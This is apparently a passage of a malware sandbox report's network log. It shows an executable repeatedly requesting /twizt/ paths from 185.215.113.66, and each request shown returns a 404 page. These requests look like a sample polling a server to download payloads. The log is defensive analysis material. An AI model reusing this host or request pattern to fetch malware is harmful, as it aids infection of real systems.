Aug 31, 2022 02:17:34.267499924 CEST	18579	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Wed, 31 Aug 2022 00:17:34 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Aug 31, 2022 02:17:35.285228968 CEST	18580	OUT	GET /twizt/4 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36 Host: 185.215.113.66
Aug 31, 2022 02:17:35.341545105 CEST	18581	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Wed, 31 Aug 2022 00:17:35 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Aug 31, 2022 02:17:36.381850004 CEST	18581	OUT	GET /twizt/5 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36 Host: 185.215.113.66
Aug 31, 2022 02:17:36.438225985 CEST	18582	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Wed, 31 Aug 2022 00:17:36 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Aug 31, 2022 02:17:37.528143883 CEST	18582	OUT	GET /twizt/6 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36 Host: 185.215.113.66
Aug 31, 2022 02:17:37.584794998 CEST	18583	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Wed, 31 Aug 2022 00:17:37 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
9	192.168.2.6	49765	185.215.113.66	80	C:\Users\user\Desktop\4dzlU0beKB.exe

Timestamp	kBytes transferred	Direction	Data
Aug 31, 2022 02:17:40.990046978 CEST	18772	OUT	GET /twizt/2 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36 Host: 185.215.113.66
Aug 31, 2022 02:17:41.047102928 CEST	18773	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Wed, 31 Aug 2022 00:17:41 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Aug 31, 2022 02:17:42.081721067 CEST	18912	OUT	GET /twizt/3 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36 Host: 185.215.113.66
Aug 31, 2022 02:17:42.138631105 CEST	18912	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Wed, 31 Aug 2022 00:17:42 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Aug 31, 2022 02:17:43.147820950 CEST	19041	OUT	GET /twizt/4 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36 Host: 185.215.113.66
Aug 31, 2022 02:17:43.205065966 CEST	19045	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Wed, 31 Aug 2022 00:17:43 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Aug 31, 2022 02:17:44.223496914 CEST	19155	OUT	GET /twizt/5 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36 Host: 185.215.113.66
Aug 31, 2022 02:17:44.280461073 CEST	19176	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Wed, 31 Aug 2022 00:17:44 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Aug 31, 2022 02:17:45.292567015 CEST	19185	OUT	GET /twizt/6 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36 Host: 185.215.113.66
Aug 31, 2022 02:17:45.350109100 CEST	19186	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Wed, 31 Aug 2022 00:17:45 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 